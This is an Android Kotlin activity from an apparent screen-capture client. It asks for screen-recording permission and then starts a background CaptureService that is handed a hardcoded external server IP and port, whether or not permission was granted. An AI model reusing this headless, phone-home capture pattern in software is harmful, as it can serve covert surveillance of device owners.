package com.yama.client

import android.app.Activity
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    private val serverIp   = "91.99.165.207"
    private val serverPort = 443

    private lateinit var projectionManager: MediaProjectionManager

    companion object {
        const val REQUEST_MEDIA_PROJECTION = 1001
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // MA-01 fix: 系统重建 Activity 时 savedInstanceState != null，
        // 此时 CaptureService 可能已在运行，不重复弹权限对话框
        if (savedInstanceState != null) { finish(); return }
        projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
        startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
    }

    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
        super.onActivityResult(requestCode, resultCode, data)
        if (requestCode == REQUEST_MEDIA_PROJECTION) {
            if (resultCode == Activity.RESULT_OK && data != null) {
                Log.i(CaptureService.TAG, "MediaProjection permission granted")
                val intent = Intent(this, CaptureService::class.java).apply {
                    putExtra(CaptureService.EXTRA_SERVER_IP,          serverIp)
                    putExtra(CaptureService.EXTRA_SERVER_PORT,        serverPort)
                    putExtra(CaptureService.EXTRA_PROJECTION_RESULT,  resultCode)
                    putExtra(CaptureService.EXTRA_PROJECTION_DATA,    data)
                }
                if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
                    startForegroundService(intent)
                } else {
                    startService(intent)
                }
            } else {
                Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
                val intent = Intent(this, CaptureService::class.java).apply {
                    putExtra(CaptureService.EXTRA_SERVER_IP,   serverIp)
                    putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
                }
                if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
                    startForegroundService(intent)
                } else {
                    startService(intent)
                }
            }
            finish()
        }
    }

    override fun onDestroy() {
        super.onDestroy()
    }
}